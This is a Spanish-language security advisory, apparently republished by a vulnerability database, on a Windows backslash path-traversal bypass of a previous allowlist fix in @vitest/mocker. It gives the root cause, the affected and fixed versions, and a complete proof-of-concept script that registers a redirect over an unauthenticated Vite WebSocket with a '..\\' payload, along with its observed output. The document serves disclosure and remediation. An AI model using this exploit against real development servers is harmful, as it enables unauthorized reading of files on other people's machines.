Vitest: La evasión de salto de directorio con barra invertida en Windows elude la corrección de lista de permitidos de @vitest/mocker
Resumen
La corrección de salto de directorio publicada para GHSA-82fw-gwwq-j7x9 puede eludirse en Windows utilizando una barra invertida en la ruta de la URL de redirección.
El código corregido une una ruta de URL controlada por el atacante con la raíz de Vite mediante node:path/posix, pasando luego esa cadena a la comprobación de la lista de permitidos de Vite. En Windows, un valor como C:/project/root/..\secret.txt mantiene ..\ durante la unión POSIX y comienza con la raíz permitida, por lo que la lista de permitidos lo acepta. La llamada posterior a readFile() utiliza la semántica del sistema de archivos de Windows, donde la barra invertida actúa como separador de ruta, y lee el archivo adyacente fuera de la raíz configurada.
El problema se reprodujo con los paquetes publicados de @vitest/mocker en ambas líneas de versiones corregidas:
@vitest/mocker@4.1.11@vitest/mocker@5.0.0
El código fuente actual de main en el commit 2ce29d5fa758046e5453bd92b8ed6c9da9709bb5 presenta el mismo comportamiento.
Correcciones
Corregido en @vitest/mocker 5.0.3, publicado el 2026-09-30 (PR #11377), y adaptado a 4.1.12. El registro de redirecciones ahora convierte las barras invertidas en la ruta de la URL en barras diagonales antes de unir la ruta con la raíz, por lo que ..\ se resuelve de la misma forma que ../ y la lista de permitidos lo rechaza.
Relación con GHSA-82fw-gwwq-j7x9
Se trata de una elusión de la solución previa y no de una vía distinta o independiente. Utiliza el mismo registro de redirecciones en vitest:interceptor:register y el mismo punto de lectura de archivos que el aviso original. Un salto de directorio con barra diagonal se rechaza tras la corrección, mientras que el salto equivalente con barra invertida en Windows resulta aceptado.
El aviso original marcó como corregidas las versiones 4.1.11 y 5.0.0-rc.2. Los rangos afectados nuevamente por la corrección incompleta son:
4.1.11>=5.0.0-rc.2, <5.0.3
Las versiones afectadas anteriores continúan cubiertas por GHSA-82fw-gwwq-j7x9.
Causa raíz
packages/mocker/src/node/interceptorPlugin.ts importa join desde node:path/posix. Actualmente, el registro de redirecciones realiza el equivalente a:
const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirect
El valor registrado llega posteriormente a:
readFile(mock.redirect, 'utf-8')
La comprobación de la lista de permitidos de Vite espera una ruta absoluta y normalizada del sistema de archivos. En Windows, la unión POSIX no normaliza las barras invertidas, pero readFile las interpreta como separadores. Por lo tanto, la comprobación y el punto de destino interpretan la misma cadena de forma distinta.
El mecanismo alternativo RPC autenticado del navegador en packages/browser/src/node/rpc.ts no se ve afectado: une la ruta con pathe, que convierte las barras invertidas a barras diagonales antes de la comprobación de acceso. La reproducción se enfoca en la ruta de registro WebSocket pública de mocker.
Condiciones previas e impacto
Un cliente con capacidad de comunicarse con un servidor Vite a través del registro WebSocket público de mockerPlugin o independiente de interceptorPlugin puede registrar un simulacro de redirección. En Windows, el cliente puede luego solicitar el módulo registrado y leer un archivo fuera de server.fs.allow al que tenga acceso la cuenta del proceso Vitest/Vite. El modo navegador de Vitest no registra estos manejadores de WebSocket en las versiones afectadas.
La reproducción utiliza una conexión WebSocket de Vite HMR sin autenticar y una petición HTTP GET normal. No invoca la API interna transform del plugin. La accesibilidad práctica de red coincide con la descrita en el aviso original; los servidores de desarrollo vinculados únicamente a loopback por defecto están correspondientemente menos expuestos.
Reproducción
Probado en Windows Server 2025 alojado en GitHub con Node.js 22. La prueba solo crea archivos sintéticos temporales: un directorio raíz de Vite y un archivo adyacente secret.txt que contiene un canario.
Instale las dependencias para cualquiera de las líneas afectadas:
npm install @vitest/mocker@4.1.11 vite@7.1.5 ws@8.18.3
# or
npm install @vitest/mocker@5.0.0 vite@7.1.5 ws@8.18.3
node poc.mjs
poc.mjs:
import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'
const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')
const server = await createServer({
root,
configFile: false,
logLevel: 'silent',
server: { fs: { allow: [root] } },
plugins: [
{
name: 'validation:virtual-modules',
enforce: 'pre',
resolveId(id) {
if (id === '/control' || id === '/bypass') return id
},
},
interceptorPlugin(),
],
})
await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]
function register(id, redirect) {
return new Promise((resolve, reject) => {
const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
socket.on('message', (raw) => {
let message
try { message = JSON.parse(raw.toString()) } catch { return }
if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
clearTimeout(timer)
socket.close()
resolve()
}
})
socket.on('open', () => socket.send(JSON.stringify({
type: 'custom',
event: 'vitest:interceptor:register',
data: { type: 'redirect', raw: '', id, url: id, redirect },
})))
socket.on('error', reject)
})
}
try {
await register('/control', 'traversal:../secret.txt')
const controlResponse = await fetch(new URL('/control', baseUrl))
const controlBody = await controlResponse.text()
await register('/bypass', 'traversal:..\\secret.txt')
const bypassResponse = await fetch(new URL('/bypass', baseUrl))
const bypassBody = await bypassResponse.text()
const result = {
platform: process.platform,
root,
outsideFile: secret,
slashTraversalStatus: controlResponse.status,
slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
backslashTraversalStatus: bypassResponse.status,
backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',
}
console.log(JSON.stringify(result, null, 2))
const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked
? !result.backslashTraversalReturnedOutsideCanary
: result.backslashTraversalReturnedOutsideCanary
if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1
} finally {
await server.close()
}
Observado con @vitest/mocker@4.1.11:
{
"platform": "win32",
"slashTraversalStatus": 404,
"slashTraversalRejected": true,
"backslashTraversalStatus": 200,
"backslashTraversalReturnedOutsideCanary": true,
"returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY",
"expectedBackslashTraversalBlocked": false
}
El mismo resultado se observó con @vitest/mocker@5.0.0.
Esto incluye dos controles útiles:
traversal:../secret.txtse rechaza y devuelve 404, lo que confirma que la corrección publicada para barras diagonales está activa.traversal:..\secret.txtdevuelve 200 y el contenido exacto del canario fuera de la raíz, confirmando la evasión mediante separadores de Windows en lugar de una respuesta de ruta o accesorio no relacionada.
Qué hacer
Actualice a @vitest/mocker 5.0.3, 4.1.12 o posterior. El parche convierte las barras invertidas en las rutas de URL a barras diagonales antes de unirlas con el directorio raíz, impidiendo la elusión de la lista de permitidos.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | @vitest/mocker | >= 4.1.11, < 4.1.12, >= 5.0.0-rc.2, < 5.0.3 | 4.1.12, 5.0.3 |
Referencias
- https://github.com/vitest-dev/vitest/security/advisories/GHSA-xp26-3454-mjgp
- https://nvd.nist.gov/vuln/detail/CVE-2026-112950
- https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35
- https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473
- https://github.com/vitest-dev/vitest
- https://github.com/vitest-dev/vitest/releases/tag/v4.1.12
- https://github.com/vitest-dev/vitest/releases/tag/v5.0.3
- Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N- Debilidad (CWE)
CWE-22- Plataforma
- npm
- Paquete
@vitest/mocker- Publicada
- 21.10.2026
- Actualizado
- 22.10.2026 00:10
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-xp26-3454-mjgp - CC BY 4.0
Historial de vulnerabilidades: @vitest/mocker
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 2
- Primera → última
- 09.2026 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Media 2
Divulgaciones por año
- 2026: 2
-
Vitest: La evasión de salto de directorio con barra invertida en Windows elude la corrección de lista de permitidos de @vitest/mocker esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.